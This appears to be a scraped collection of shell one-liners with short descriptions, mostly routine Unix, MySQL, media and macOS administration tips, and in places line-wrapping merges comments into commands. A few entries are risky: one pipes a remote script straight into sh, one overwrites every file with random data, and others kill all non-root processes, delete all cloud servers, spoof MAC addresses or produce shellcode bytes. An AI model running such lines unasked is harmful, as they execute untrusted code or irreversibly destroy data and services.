perl -MURI::Escape -e 'print uri_escape("String encoded to a url");'
# Convert pkcs12 Certificate to ASCII for use in PHP
openssl pkcs12 -info -nodes -in /path/to/encryptedp12 > /path/to/asciip12
# find pictures and renames them appending the containing folder name
find <folder> -type f -name '*.jpg' -exec bash -c 'ext="${0##*.}";path="$(dirname "$0")";name="$(basename "$0"|sed "s/.jpg//")";folder="$(dirname "$0"|tr / \\n |tail -1)";new="${path}/${name}_${folder}.${ext}"; mv "$0" "${new}"' {} \;
# Check if the files in current directory has the RPATH variable defined
for i in *; do file $i | grep -q ELF || continue; readelf -d $i | grep -q RPATH || echo $i; done
# Launch an interactive shell with special aliases and functions.
bash --rcfile /a/special/bashrc
# Switch on eeepc camera
sudo echo 1 > /proc/acpi/asus/camera
# Find out if MySQL is up and listening on Linux
netstat -tap | grep mysql
# Sorting by rows
infile=$1 for i in $(cat $infile) do echo $i | tr "," "\n" | sort -n | tr "\n" "," | sed "s/,$//" echo done
# Command to display how much resource is taken by cpu and which core is taking
pidstat -C "ffmpeg" -u
# Match a URL
echo "(Something like http://foo.com/blah_blah)" | grep -oP "\b(([\w-]+://?|www[.])[^\s()<>]+(?:\([\w\d]+\)|([^[:punct:]\s]|/)))"
# List last opened tabs in firefox browser
grep -Eo '"entries":\[{"url":"[^"]*"' "$HOME/.mozilla/firefox/*.default/sessionstore.js" | sed 's/^.*:"//; s/"$//'
# let the cow suggest some commit messages for you
while true; do curl -s http://whatthecommit.com | perl -p0e '($_)=m{<p>(.+?)</p>}s' | cowsay; sleep 2; done
# Sets performance CPU governer of all cores of a 4-core CPU.
for i in {0..3}; do cpufreq-set -c $i -g performance; done
# Convert a batch of images to a Video
mencoder "mf://frame_*.bmp" -mf w=720:h=480:fps=30:type=bmp -ovc lavc -lavcopts vcodec=mpeg4 -o number_video.mp4
# Spelling Suggestion
curl -s "http://search.yahooapis.com/WebSearchService/V1/spellingSuggestion?appid=YahooDemo&query=mozmbque"|sed -n -e 's/.*<Result>\(.*\)<\/Result>.*/\1/p'
# 'micro' ps aux (by mem/cpu)
ps -o user,%cpu,%mem,command
# Display an updating clock in sh variants
while true; do date; sleep 1; done
# Search through files, ignoring .svn
ack -ai 'searchterm'
# Simulate typing
echo "pretty realistic virtual typing" | randtype -m 4
# remove script from infected html files
grep -ZlRr -e BAD_SCRIPT_LINE * |xargs -0 sed -i 's/BAD_SCRIPT_LINE//g'
# find all file larger than 500M
find . -type f -size +500M -exec du {} \; | sort -n
# Search and install true type fonts under user home directory
find ~ -name "*.ttf" -exec cp {} /usr/share/fonts/truetype \; & fc-cache -f
# search google from command line
function google() { xdg-open "http://www.google.com/#sclient=psy&q=$1"; }
# Check if your webserver supports gzip compression with curl
if curl -s -I -H "Accept-Encoding: gzip,deflate" http://example.com/ | grep 'Content-Encoding: gzip' >/dev/null 2>&1 ; then echo Yes; else echo No;fi
# Query wikipedia over DNS
wiki() { local IFS=_; dig +short txt "${*^}".wp.dg.cx; }
# Flush DNS cache on OS X 10.5 Leopard
dscacheutil -flushcache
# Watch number of lines being processed on a clear screen
cat /dev/urandom|awk 'BEGIN{"tput cuu1" | getline CursorUp; "tput clear" | getline Clear; printf Clear}{num+=1;printf CursorUp; print num}'
# get the IP connected to the server (usefull to detect IP that should be blocke
d)netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
# Get parent directory path
dirname `pwd`
# find php files even without extension
find . -exec grep -q '<?php' {} /dev/null \; -ls
# Kill all processes that don't belong to root/force logoff
for i in $(pgrep -v -u root);do kill -9 $i;done
# convert string to array
s="124890";for i in $(seq 0 1 $((${#s}-1))); do arr[$i]=${s:$i:1}; done
# FInd the 10 biggest files taking up disk space
find / -type f -size +100M -exec du {} \; | sort -n | tail -10 | cut -f 2
# telling you from where your commit come from
function where(){ COUNT=0; while [ `where_arg $1~$COUNT | wc -w` == 0 ]; do let COUNT=COUNT+1; done; echo "$1 is ahead of "; where_arg $1~$COUNT; echo "by $COUNT commits";};function where_arg(){ git log $@ --decorate -1 | head -n1 | cut -d ' ' -f3- ;}
# Check for orphaned python files
find /usr/lib/python* -regextype posix-extended ! \( -type f -regex '.*.(pyc|pyo)' -prune -o -print \) | qfile -o -f -
# speak a chat log file while it's running
tail -f LOGFILE | perl -ne '`say "$_"`;'
# find php files even without extension
grep -Ilr "<?php" .
# look for a header reference in a shared library
strings libc-2.2.5.so | grep stat.h
# check rpm pkg content w/o installation
rpm -qlp <package.rpm>
# Hide files and folders on GNOME Desktop.
gconftool-2 --set /apps/nautilus/preferences/show_desktop --type bool 0
# list all file-types (case-insensitive extensions) including subdirectories
find /path/to/dir -type f |sed 's/^.*\.//' |sort -f |uniq -i
# join every five lines
seq 20 | awk 'ORS=NR%5?FS:RS'
# Clears Firefox` cache without clicking around
rm_cache() { rm -f $HOME/.mozilla/firefox/<profile>/Cache/* }; alias rmcache='rm_cache'
# modify (mozldap) with proxy authentication and no other controls
ldapmodify -Y "dn:uid=rob,dc=example.com" -g -R -J 2.16.840.1.113730.3.4.16 ...
# Extract names and email addresses from LDIF files
grep -E '^(cn|mail):' file.ldif | sed -e 's/^[a-z]*: //'
# clear stale favicons in firefox
sqlite3 .mozilla/firefox/private/places.sqlite "update moz_places set favicon_id=null where favicon_id = (select p.favicon_id from moz_bookmarks b join moz_places p on b.fk = p.id where b.title = 'Broken');"
# group every five lines
awk '{x+=$2; y+=$3} NR%5==0{print x/5,y/5; x=y=0}' file.txt
# mysql: Convert MyISAM tables to InnoDB via mysqldump
mysqldump | sed -e 's/^) ENGINE=MyISAM/) ENGINE=InnoDB/'
# cpuinfo
cat /proc/cpuinfo
# List shared libraries recognized by the system
ldconfig -p | grep <somenewlib.so>
# convert string to array
s=124890; array=($(echo $s | sed 's/./& /g')); echo ${array[@]}; echo ${!array[@]}
# Get IPv4 of eth0 for use with scripts
ifconfig eth0 | grep -o "inet [^ ]*" | cut -d: -f2
# Convert movie to psp format
ffmpeg -i "inputFile.avi" -f psp -r 29.97 -b 512k -ar 24000 -ab 64k -s 368x208 M4V00002.MP4
# Get all links of a website
lynx -dump http://www.domain.com | awk '/http/{print $2}' | egrep "^https{0,1}"
# MySQL: Slice out a specific database (assumes existence of the USE statement)
from mysqldump outputsed -n "/^USE \`employees\`/,/^USE \`/p"
# make a samba shared folder writable, when doing an svn commit on OSX
chflags -R nouchg ./
# Summarize size of all files of given type in all subdirectories (in bytes)
SUM=0; for FILESIZE in `find /tmp -type f -iname \*pdf -exec du -b {} \; 2>/dev/null | cut -f1` ; do (( SUM += $FILESIZE )) ; done ; echo "sum=$SUM"
# ffmpeg -i movie.mpg -vhook '/usr/lib/vhook/watermark.so -f overlay.png -m 1 -t
222222' -an mm.flvffmpeg -i movie.mpg -vhook '/usr/lib/vhook/watermark.so -f overlay.png -m 1 -t 222222' -an mm.flv
# Fewer keystrokes to search man page of command
function mg(){ man ${1} | egrep ${2} | more; }
# sudo for launching gui apps in background
sudo -b xterm
# hard link file for Windows
fsutil hardlink creat new_file exits_file
# bash function for convenient 'find' in subversion working directories
svn_find () { local a=$1; shift; find $a -not \( -name .svn -prune \) $*; }
# Link all the files in this directory to that directory
cd /this/directory; for f in *; do ln -s `pwd`/$f /that/directory; done
# Change size of lots of image files. File names are read from a text file.
( while read File; do mogrify -resize 1024 -quality 96 $File; done ) < filelist
# @mail.com by adding the line in list.txt
while read line; do echo -e "[email protected]"; done < list.txt
# Generate a random number in a range
START=20; END=50 echo $(($START+(`od -An -N2 -i /dev/random`)%($END-$START+1)))
# Remove unused libs/packages
aptitude remove $(deborphan)
# command line to optimize all table from a mysql database
mysqlcheck -op -u<user> <db>
# Find artist and title of a music cd, UPC code given (first result only)
curl http://www.discogs.com/search?q=724349691704 2> /dev/null | grep \/release\/ | head -2 | tail -1 | sed -e 's/^<div>.*>\(.*\)<\/a><\/div>/\1/'
# MySQL: Slice out a specific table from a specific database (assumes existence
of the USE statement) from output of mysqldumpmysqldump | sed -n "/^USE \`employees\`/,/^USE \`/p" | sed -n "/^-- Table structure for table \`departments\`/,/^-- Table structure for table/p"
# Delete all active Brightbox cloud servers
for server in `brightbox-servers list |grep active|awk '{ print $1}'`;do brightbox-servers destroy $server;done
# use the short username by default for network authentication
defaults write /Library/Preferences/com.apple.NetworkAuthorization UseShortName -bool YES
# Stop Mac OSX from creating .DS_Store files when interacting with a remote file
server with the Finderdefaults write com.apple.desktopservices DSDontWriteNetworkStores true
# Generate MD5 of string and output only the hash checksum
echo -n "String to MD5" | md5sum | cut -b-32
# simple du command to give size of next level of subfolder in MB
du --max-depth=1 -B M |sort -rn
# Dump MySql to File
mysqldump --opt -uUSERNAME -pPASSWORD -h mysql.host.com database > ~/filename.sql
# MySQL: Strip a my.cnf file from comments, remove blank lines, normalize spaces
:cat my.cnf | sed '/^#/d' | sed '/^$/d' | sed -e 's/[ \t]\+//g'
# Destroy all unmapped Brightbox Cloud IPs
for ip in `brightbox-cloudips list |grep unmapped|awk '{ print $1}'`;do brightbox-cloudips destroy $ip;done
# Find the process ID of such program:
pgrep xterm
# list files not owned by any user or group
find / -nouser -o -nogroup -print
# Emulate a dual-screen using vnc
x2vnc {-west|-east|-north|-south} computer-ip:display-number
# Count occurrences of a word/token in a file
find . -name file.txt | xargs -e grep "token" -o | wc -l
# reassign pipe key from AltGr-1 to AltGr-7 in X11
xmodmap -e 'keycode 10 = 1 plus brokenbar exclamdown brokenbar exclamdown' ; xmodmap -e 'keycode 16 = 7 slash bar seveneighths bar seveneighths'
# Delete the previous entry in your history
alias histdel='history -d $((HISTCMD-2)) && history -d $((HISTCMD-1))'
# Convert encoding of a file
iconv -f utf8 -t utf16 /path/to/file
# Install unrar on Linux box from sources
cd /usr/src ; wget http://www.rarlab.com/rar/unrarsrc-4.0.2.tar.gz ; tar xvfz unrarsrc-4.0.2.tar.gz ; cd unrar ; ln -s makefile.unix Makefile ; make clean ; make ; make install
# Remove the first line containing 'match' from file
sed -i "$(grep -nm 1 match file|cut -f1 -d:)d" file
# MySQL: normalize parameter names on my.cnf configuration file
cat my.sandbox.cnf | awk -F "=" 'NF < 2 {print} sub("=", "=~placeholder~=") {print}' | awk -F "=~placeholder~=" 'NF < 2 {gsub("-", "_", $0); print} NF==2 {gsub("-", "_", $1); print $1 "=" $2}'
# Erase empty files
find . -size 0 -exec rm '{}' \;
# generate random password
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 10 | sed 1q
# Check if zip files from current directory are good
find . -maxdepth 1 -name "*.zip" -exec unzip -tqq {} \;
# Merge various PDF files
gs -dNOPAUSE -sDEVICE=pdfwrite -sOUTPUTFILE=output.pdf -dBATCH first.pdf second.pdf
# convert chrome html export to folders, links and descriptions
grep -E '<DT><A|<DT><H3' bookmarks.html | sed 's/<DT>//' | sed '/Bookmarks bar/d' | sed 's/ ADD_DATE=\".*\"//g' | sed 's/^[ \t]*//' | tr '<A HREF' '<a href'
# Find all PowerPC applications on OS X
system_profiler SPApplicationsDataType | grep -A3 -B4 "Kind: PowerPC"
# Which PATH variable should I use for this scirpt?
whichpath() { local -A path; local c p; for c; do p=$(type -P "$c"); p=${p%/*}; path[${p:-/}]=1; done; local IFS=:; printf '%s\n' "${!path[*]}"; }
# Create a backup of the file.
cp path/filename{,-$(date +%Y-%m-%d)}
# Empty a file
> [filename].txt
# Find out what files are changed or added in a git repository.
git log --name-only | less
# replace deprecated php-function split in php files
sed -i s/split\(/explode\(/ whatever.php
# Source multiline grep with pcregrep
pcregrep --color -M -N CRLF "owa_pattern\.\w+\W*\([^\)]*\)" source.sql
# Recursive source regexp search with pcregrep
pcregrep -r --exclude_dir='.svn' --include='.*jsp$' -A 2 -B 2 --color "pHtmlHome" .
# redirecting stdout of multiple commands
{ command1 args1 ; command2 args2 ; ... }
# Execute the command given by history event number
!<number>
# kill all foo process
ps -ef | grep [f]oo | awk '{print $2}' | xargs kill -9
# Fast grepping (avoiding UTF overhead)
export LANG=C; grep string longBigFile.log
# convert flv into avi file and mp3 sound
mencoder input.flv -ovc lavc -oac mp3lame -o output.avi
# Read just the IP address of a device
ifconfig -l | xargs -n1 ipconfig getifaddr 2> /dev/null
# Extracts PDF pages as images
convert in.pdf out.jpg
# Generate MD5 of string and output only the hash checksum in a readable format
echo -n "String to MD5" | md5sum | sed -e 's/../& /g' -e 's/ -//'
# Count new mail
mail -H | grep '^.U' | wc -l
# read old reversion of file
cvs up -r1.23 -p main.cpp | vim -
# print an 'hello world'
echo 'hello world'
# a function to find the fastest free DNS server
timeDNS () { { for x in "${local_DNS}" "208.67.222.222" "208.67.220.220" "198.153.192.1" "198.153.194.1" "156.154.70.1" "156.154.71.1" "8.8.8.8" "8.8.4.4"; do ({ echo -n "$x "; dig @"$x" "$*"|grep Query ; }|sponge &) done ; } | sort -n -k5 ; }
# locate a filename, make sure it exists and display it with full details
locate -e somefile | xargs ls -l
# Check syntax of all Perl modules or scripts underneath the current directory
for code in $(find . -type f -name '*.p[ml]'); do perl -c "$code"; done
# Use a variable in a find command. Useful in scripting.
find . -iname \*${MYVAR}\* -print
# Get the amount of users currently registered at the DudaLibre.com Linux Counte
r.curl --silent http://www.dudalibre.com/gnulinuxcounter?lang=en | grep users | head -2 | tail -1 | sed 's/.*<strong>//g' | sed 's/<\/strong>.*//g'
# List your MACs address
echo | ifconfig | grep HWaddr
# reverse order of file
printf "g/^/m0\nw\nq"|ed $FILE
# Put at the end of the rsa public key an comment(default value is the hostname)
ssh-keygen -C hello@world
# List all packages with no dependencies (yum based system)
package-cleanup --leaves --all
# grep or
egrep 'string1|string2' file
# Send Disk usage via email
#!/bin/sh #du.sh i=`hostname -i` df -h > /tmp/space.txt echo "server $i " >> /tm
p/space.txt uuencode /tmp/space.txt space.txt | mail -s "HDD usage $i" [email protected]
# reload config
source .bashrc
# Install evertything with the prefix pidgin or wathever
apt-cache search pidgin* | awk '{print$ 1}' | tr '\n' ' ' | xargs aptitude -y install
# Make a HTTP request using curl with POST method
curl --verbose -d "hello=world" http://mydomain.com
# Download entire website for offline viewing
$ wget --mirror -p --convert-links -P ./<LOCAL-DIR> <WEBSITE-URL>
# search for files or directories, then show a sorted list of just the unique di
rectories where the matches occurfor i in $(locate your_search_phrase); do dirname $i; done | sort | uniq
# Send SNMP traps
sudo snmptrap -m ALL -v 2c -c public trapserver "" UCD-DEMO-MIB::ucdDemoPublic SNMPv2-MIB::sysLocation.0 s "Just here"
# FINDING PCI DEVICES
/sbin/lspci (-v is verbose)
# make directory
mkdir /tmp/dir1/{0..20}
# Current sub-folders sizes
du -sh *
# Rearrange words from a file
perl -lane 'print "$F[0]:$F[1]:$F[2]"' myfile
# Converts ext2 to ext3
tune2fs -j /dev/sdX
# Find Man pages for everything in your $PATH
unset MANPATH; manpath >/dev/null
# Use a variable in a find command. Useful in scripting.
find "$1" -iname "*$2*"
# Locate config files of the program
strace -e open zim 2>&1 1>/dev/null | fgrep ~ | fgrep -v "= -1" | cut -d'"' -f2
# unbuffered tcpdump
tcp(){ tcpdump -nUs0 -w- -iinterface $1|tcpdump -n${2-A}r- ;} usage: tcp '[primitives]' [X|XX]
# remove files of a specific size
find . -size 1400c -exec rm {} \;
# fetch 1600 jokes from robsjokes.com into a single file, which is fortunable
for i in `seq -w 1600` ; do links -dump http://www.robsjokes.com/$i/index.html | sed '/Random Joke/,/Next Joke/!d' | sed '/^$/,/^$/!d' >> ~/temp/Rob.jokes ; echo '%' >> ~/temp/Rob.jokes ; done
# add all files not under version control to repository
svn add $(svn st|grep ^\?|cut -c2-)
# Make a playlistfile for mpg321 or other CLI player
find /DirectoryWhereMyMp3sAre/ -name *.mp3 | grep "andy" > ~/mylist
# install package which provides some libraries in fedora
yum whatprovides /usr/lib/libXX1.so /usr/lib/libXX2.so | grep fc | sed 's/^\(.*\)-[0-9.]*-.*$/\1/' | sort | uniq | xargs yum -y install
# get newest file in current directory
find . -maxdepth 1 -printf '%A@\t%p\n' | sort -r | cut -f 2,2 | head -1
# Set executable permissions only to executable files
while IFS= read -r -u3 -d $'\0' file; do file "$file" | egrep -q 'executable|ELF' && chmod +x "$file"; done 3< <(find . -type f -print0)
# recursively change file name extensions
find . -type f -name \*.c | while read f; do mv $f "`basename $f .c`".C; done
# Compare a file with the output of a command or compare the output of two comma
ndsvimdiff foo.c <(bzr cat -r revno:-2 foo.c)
# Verbosely delete files matching specific name pattern, older than 15 days.
find /backup/directory -name "FILENAME_*" -mtime +15 -exec rm -vf {};
# Spoof your wireless MAC address on OS X to 00:e2:e3:e4:e5:e6
sudo ifconfig en1 ether 00:e2:e3:e4:e5:e6
# Iterate through a file where instead of Newline characters, values are separat
ed with a non-white space character.while [[ COUNTER -le 10 && IFS=':' ]]; do for LINE in $(cat /tmp/list); do some_command(s) $LINE; done; COUNTER=$((COUNTER+1)); done
# File without comments or blank lines.
gawk '!/^[\t\ ]*#/{print $0}' filename | strings
# Total procs, avg size (RSS) and Total mem use
ps awwwux | grep httpd | grep -v grep | awk '{mem = $6; tot = $6 + tot; total++} END{printf("Total procs: %d\nAvg Size: %d KB\nTotal Mem Used: %f GB\n", total, mem / total, tot / 1024 / 1024)}'
# dos2unix
$ perl -pi -e 's/\r\n/\n/g' <finelame>
# Copy files from list with hierarchy
cat files.txt | xargs tar -cv | tar -x -c $DIR/
# Get number of diggs for a news URL
curl -s "http://services.digg.com/stories?link=$NEWSURL&appkey=http://www.whatever.com&type=json" | python -m simplejson.tool | grep diggs
# Mount Windows shared folder (or Samba share)
smbmount //<ip>/<resource> <local_mount_point>
# Kill all windows in one go in gnu screen
bindkey ^f at "#" kill
# To convert **.wav to **.mp3 using LAME running one process per CPU core run:
parallel -j+0 lame {} -o {.}.mp3 ::: *.wav
# YouTube Convert and Download All User's Videos to MP3s on the fly
Command in description (Your command is too long - please keep it to less than 255 characters)
# Kill a process by its partial name
killall -r 'a regular expression'
# Add DuckDuckGo Search as search provider on gnome-shell
cd /usr/share/gnome-shell/search_providers/ && cat google.xml | sed "s/www.google.com\/search/duckduckgo.com\//; s/Google/DuckDuckGo/g" > duckduckgo.xml
# make directory
$ mkdir -p /tmp/dir1/{0..20}
# alias dir to ls -al
alias dir="ls -al"
# Backup your precious Tomato Router Stats
curl http://root:PASSWORD@ROUTER_DYN_DNS/bwm/tomato_rstatsa001839ceb1d4.gz?_http_id=HTTPID > $HOME/Dropbox/Backups/tomato_stats.gz
# List all mounted drives and their accompanying partitions from OS X Terminal
diskutil list
# Count files by extension
find . -type f | sed -n 's/..*\.//p' | sort -f | uniq -ic
# Clear IPC Message Queue
ipcs -a | grep 0x | awk '{printf( "-Q %s ", $1 )}' | xargs ipcrm
# Convert a DMG file to ISO in OS X Terminal
hdiutil convert /path/imagefile.dmg -format UDTO -o /path/convertedimage.iso
# How to get full tread dump for java process
kill -3 PID
# Check the MD5
diff -ua <(w3m -dump http://www.php.net/downloads.php|fgrep -A1 '5.2.15 (tar.bz2)'|awk '/md5:/{print $2}') <(md5sum php-5.2.15.tar.bz2|awk '{print $1}')
# Passwordless mysql{,dump,admin} via my.cnf file
echo -e "[client]\nuser = YOURUSERNAME\npassword = YOURPASSWORD" > ~/.my.cnf
# Test network performance, copying from the mem of one box, over the net to the
mem of anotherdd if=/dev/zero bs=256M count=1 | nc [remoteIP] [remotePort] and on the other host nc -l port >/dev/null
# Check if a .no domain is available
check_dns_no() { for i in $* ; do if `wget -O - -q http://www.norid.no/domenenavnbaser/whois/?query=$i.no | grep "no match" &>/dev/null` ; then echo $i.no "available" ; fi ; sleep 1 ;done }
# Convert an ISO file to DMG format in OS X Terminal
hdiutil convert /path/imagefile.iso -format UDRW -o /path/convertedimage.dmg
# File without comments or blank lines.
sed 's/[[:blank:]]*#.*//; /^$/d' filename
# Concating pdf files
gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=out.pdf 1.pdf 2.pdf 3.pdf 4.pdf
# capture screen and mic
ffmpeg -f alsa -i default -f x11grab -s sxga -r 10 -i :0.0 -f mp4 -s vga -sameq out.mp4
# change mac address
ifconfig eth0 hw ether 00:11:22:33:44:55
# Create a file list of all package files installed on your Red-Hat-like system
for easy greppingfor i in `rpm -qva | sort ` ; do ; echo "===== $i =====" ; rpm -qvl $i ; done > /tmp/pkgdetails
# Grap all images with the tags 'bitch' and 'bw' from a flickr photofeed
for URL in `wget -O - http://api.flickr.com/services/feeds/photos_public.gne?tags=bitch,bw 2>/dev/null | grep -E -o "http[^ ]+?jpg" | grep -v "_m" | uniq | grep -v 'buddy' `; do FILE=`echo $URL | grep -E -o "[0-9a-z_]+\.jpg"`; curl $URL > $FILE; done;
# lists contents of a tar file
tar -tf /path/to/file.tar
# Enable NetworkManager (in KDE)
dbus-send --system --print-reply --dest=org.freedesktop.NetworkManager /org/freedesktop/NetworkManager org.freedesktop.NetworkManager.Enable boolean:true
# MSDOS command to check existance of command and exit batch if failed
<command> >NUL 2>&1 || ( echo <Command> not found. Please install <command> or check PATH variable! & pause & exit )
# Test your total disk IO capacity, regardless of caching, to find out how fast
the TRUE speed of your disks aretime dd if=/dev/zero of=blah.out oflag=direct bs=256M count=1
# ruby one-liner to get the current week number
ruby -e 'require "date"; puts DateTime.now.cweek'
# download and run script from trusted webserver
wget -qO - sometrusted.web.site/tmp/somecommand | sh
# Compile python script. Generated file will overwrite anything at /path/to/scri
pt.pycpython -c $(echo -e 'import py_compile\npy_compile.compile("/path/to/script.py")');
# move contents of the current directory to the parent directory, then remove cu
rrent directory.mv -n * ../; cd ..; rmdir $OLDPWD
# Find all videos under current directory using MIME a.k.a not using extension
allVideos() { find ./ -type f -print0 | xargs -0 file -iNf - | grep ": video/" | cut -d: -f1; }
# moreplayingaround
curl -s -u username:passwd http://twitter.com/statuses/friends_timeline.rss|grep title|sed -ne 's/<\/*title>//gp' |festival --tts
# Strip out time difference entries when verifying rpms on x86_64 RHEL systems
rpm -Va | grep -v "\.\.\.\.\.\.\.T"
# Generate Random Passwords
dd if=/dev/urandom count=200 bs=1 2>/dev/null | tr "\n" " " | sed 's/[^a-zA-Z0-9]//g' | cut -c-16
# Consistent Oracle Datapump Export
expdp user/password FLASHBACK_SCN=$(echo -e "select current_scn from v\$database;" | sqlplus / as sysdba 2>/dev/null| grep [0-9][0-9][0-9][0-9][0-9][0-9]*)
# Disaster Snapshot (procmail)
for x in `grep server /tmp/error.log | awk '{print $3}'`; do \ t=`date "+%d-%m-%H%M%S"` ; ssh -q -t admin@$x.domain.com 'pstree -auln' > ~/snapshots/$x-$t.out \ done
# Calculate the size in MB of all files of a certain extension
find . -type f -iname '*.msh' -exec ls -lG {} \; | awk '{total = total + $4}END{print "scale=2;" total "/2^20"}' | bc
# Mount FileVault sparsebundle image manually (e.g.: from TimeMachine disk).
hdiutil mount -owners on -mountrandom /tmp -stdinpass /path/to/my.sparsebundle
# Check in current directory to SVN with commical/terrible commit message. (Plea
se don't actually run this command!)svn ci -m "$(curl -s http://whatthecommit.com | sed -n '/<p>/,/<\/p>/p' | sed '$d' | sed 's/<p>//')"
# Run query on remote database and output results as csv
mysql -u[user] -p[password] -h [hostname] -D [database] -ss -e "select * from mysql_tbl " | sed 's/\t/","/g;s/^/"/;s/$/"/;s/\n//g' > dump.csv
# Boot block devices as virtual devices in Virtual Box
VBoxManage internalcommands createrawvmdk -filename [path/to/file/name.vmdk] -rawdisk /dev/[block_device]
# Easily move around many directories
a() { alias $1=cd\ $PWD; }
# Resolve the "all display buffers are busy, please try later" error on a Foundr
ydm display-buffer reset
# Drag A Dashboard Widget Onto OS X Desktop
defaults write com.apple.dashboard devmode YES
# let a cow tell you your fortune
fortune | cowsay -f tux
# Get the latest ftp file from ftp server on local machine with lftp and bash. (
Piped commands inside lftp).ftp-latest <<< "cd /; cls -1 | tail -1 | xargs -I% echo get % | /PATH/TO/ftp-latest"
# Search vmware vmx files if Linux guests are set to sync time to host
for x in `find /vmfs/volumes/ -name *vmx -exec grep -H linux.iso {} \; |cut -d : -f 1`; do echo $x; grep -i sync $x; done;
# Comment out all lines in a file beginning with string
sed -i '/^somestring/ s/^/#/' somefile.cfg
# Change Mac OS X Login Picture
defaults write /Library/Preferences/com.apple.loginwindow DesktopPicture "/System/Library/CoreServices/Finder.app/Contents/Resources/vortex.png"
# A better 'apt-cache' using Xapian to rank results
axi-cache search <searchterm>
# Combine DVD Studio Pro DDP layers back into a DVD disc image for testing
cat dvd_output/Layer0/IMAGE.DAT dvd_output/Layer1/IMAGE.DAT > dvd.iso
# Given $PID, print all child processes on stdout
ps axo pid,ppid | awk "{ if ( \$2 == $PID ) { print \$1 }}")
# Recursively touch all files and subdirectories
find . -exec touch {} \;
# Find lines of code (LOC) of a filetype in a project.
find . -type f -name "*.py" -exec wc -l {} \; | awk '{ SUM += $1} END {print SUM }'
# Find all e-mails older than 7 days in the queue and delete them
find /var/spool/mqueue -type f -mtime +7 | perl -lne unlink
# Get length of array in zsh
$foo[(I)$foo[-1]]
# commit message generator - whatthecommit.com
curl -s http://whatthecommit.com | html2text | sed '$d'
# Find out which process uses an old lib and needs a restart after a system upda
tesudo lsof | grep 'DEL.*lib' | cut -f 1 -d ' ' | sort -u
# Find all processes running under your username.
ps -ef | grep $USER
# How to know if your NIC receive link
watch ethtool eth0
# Finds all of the mailers being used in your rails app
egrep -r '(render_message|multipart).*('`find app/views -name '*.erb' | grep mailer | sed -e 's/\..*//' -e 's/.*\///' | uniq | xargs | sed 's/ /|/g'`')' app/models
# Talk to the doctor (Eliza-like)
emacs <ESC+x> doctor
# Commit current modified or added files in current svn repository
svn status | grep -v ? | awk '{print $2}' > file.svn.txt && svn ci --targets file.svn.txt -m "[your commit message here]"
# Debian's apt-get License preferences selection
echo -e "package1 option1/question1 boolean true\npackage2 option2/question2 boolean true\n" > autoprefs; sudo debconf-set-selections < autoprefs; rm autoprefs
# Download all images from a 4chan thread
curl -s http://boards.4chan.org/wg/|sed -r 's/.*href="([^"]*).*/\1\n/g'|grep images|xargs wget
# edit list of files in last command
vi `!!`
# Add the sbin directories to your PATH if it doesn't already exist in ZSH.
path+=( /sbin /usr/sbin /usr/local/sbin ); path=( ${(u)path} );
# List files with full path
ls -d $PWD/*
# Convert .flv to .avi
ffmpeg -i file.flv file.avi
# Find the USERid of a SUDOed user
REALUSERID=`TTYTEST=$(ps | awk '{print $2}' |tail -1); ps -ef |grep "$TTYTEST$" |awk '{print $1}'`;echo $REALUSERID
# Simple file wipe
for F in `find ./ -type f`;do SIZE=`ls -s $F | awk -F" " '{print $1}'`; dd if=/dev/urandom of=$F bs=1024 count=$SIZE;done
# Remove i386 RPM packages from x86_64 CentOS/RHEL
yum remove `rpm -qa --qf "%{n}.%{arch}\n"|grep i386`
# Batch rename files by their epoch last modified time.
for i in somefiles*.png ; do echo "$i" ; N=$(stat -c %Y $i); mv -i $i $N.png; done
# use !$ to retrieve filename used with last command
vim !$
# backup mysql database
0 0 * * 0 /usr/bin/mysqldump -uroot -p'<password>' data_base_name > /home/bob/XYZ_DB_BACKUP/$(date +\%Y-\%m-\%d_\%Hh\%M).sql
# Cloack an IP range from some IPs via iptables
iptables -A FORWARD -i br0 -m iprange --src-range 192.168.0.x-192.168.0.y -m iprange --dst-range 192.168.0.w-192.168.0.z -j DROP
# list all files in a directory, sorted in reverse order by modification time, u
se file descriptors.ls -Fart
# displays comments from random jpeg files.
find ~/random_jpegs/folder -name "*.jpg" -exec rdjpgcom {} \;
# Remove leading zeros in multiple columns with sed
sed 's/\b\(0*\)//g' filename
# Extract multiple file in a directory
for i in *.tar.gz; do tar -xzf $i; done
# put environment variable in history to edit
print -s "PATH='$PATH'"
# Transfer sqlite3 data to mysql
sqlite3 mydb.sqlite3 '.dump' | grep -vE '^(BEGIN|COMMIT|CREATE|DELETE)|"sqlite_sequence"' | sed -r 's/"([^"]+)"/`\1`/' | tee mydb.sql | mysql -p mydb
# Persistent saving of iptables rules
iptables-save > firewall.conf; rm -f /etc/network/if-up.d/iptables; echo '#!/bin/sh' > /etc/network/if-up.d/iptables; echo "iptables-restore < firewall.conf" >> /etc/network/if-up.d/iptables; chmod +x /etc/network/if-up.d/iptables
# Copy a file over SSH without SCP
cat LOCALFILE | ssh HOST "cat > REMOTEFILE"
# SoX recording audio and trimming silence
sox -t alsa default ./recording.flac silence 1 0.1 5% 1 1.0 5%
# Count the number of deleted files
find /path/folder -type f -name "*.*" -print -exec rm -v {} + | wc -l;
# Quick aliases for going up a directory tree
alias ::='cd ../../'
# convert binary data to shellcode
hexdump -v -e '"\\""x" 1/1 "%02x" ""' <bin_file>
# YouTube Convert and Download All User's Videos to MP3s on the fly
Command in description (Your command is too long - please keep it to less than 255 characters)
# Google dictionary of word definitions
wget -qO - "http://www.google.com/dictionary/json?callback=dict_api.callbacks.id100&q=steering+wheel&sl=en&tl=en&restrict=pr,de&client=te" | sed 's/dict_api\.callbacks.id100.//' | sed 's/,200,null)//'
# gets the bare ip(s) of a domain
dig commandlinefu.com | sed -nr 's/^[^;].*?\s([.0-9]{7,15})$/\1/ p'
# When need to compress the Zope Database
python fsrecovery.py -P 0 -f <path-to-instance>/Data.fs <path-to-instance-destination>/Data.fs.packed
# create an application launcher shortcut that allow only one process of it runn
ingsh -c 'if pgrep x2vnc && env LC_ALL=C xmessage -button "Kill it:0,Ignore it:1" "Another connection is already running. Should I kill it instead of ignoring it?"; then killall x2vnc; fi; x2vnc -passwd /home/Ariel/.vnc/passwd -east emerson:0'
# Fixing broken packages in Debian systems
sudo dpkg --configure --pending
# Renames all files in the current directory such that the new file contains no
space characters.for file in *; do mv -v "$file" "$(sed 's/ //g' <(echo $file))"; done
# simple perl global search and replace in files
perl -pi -e 's/localhost/replacementhost/g' *.php
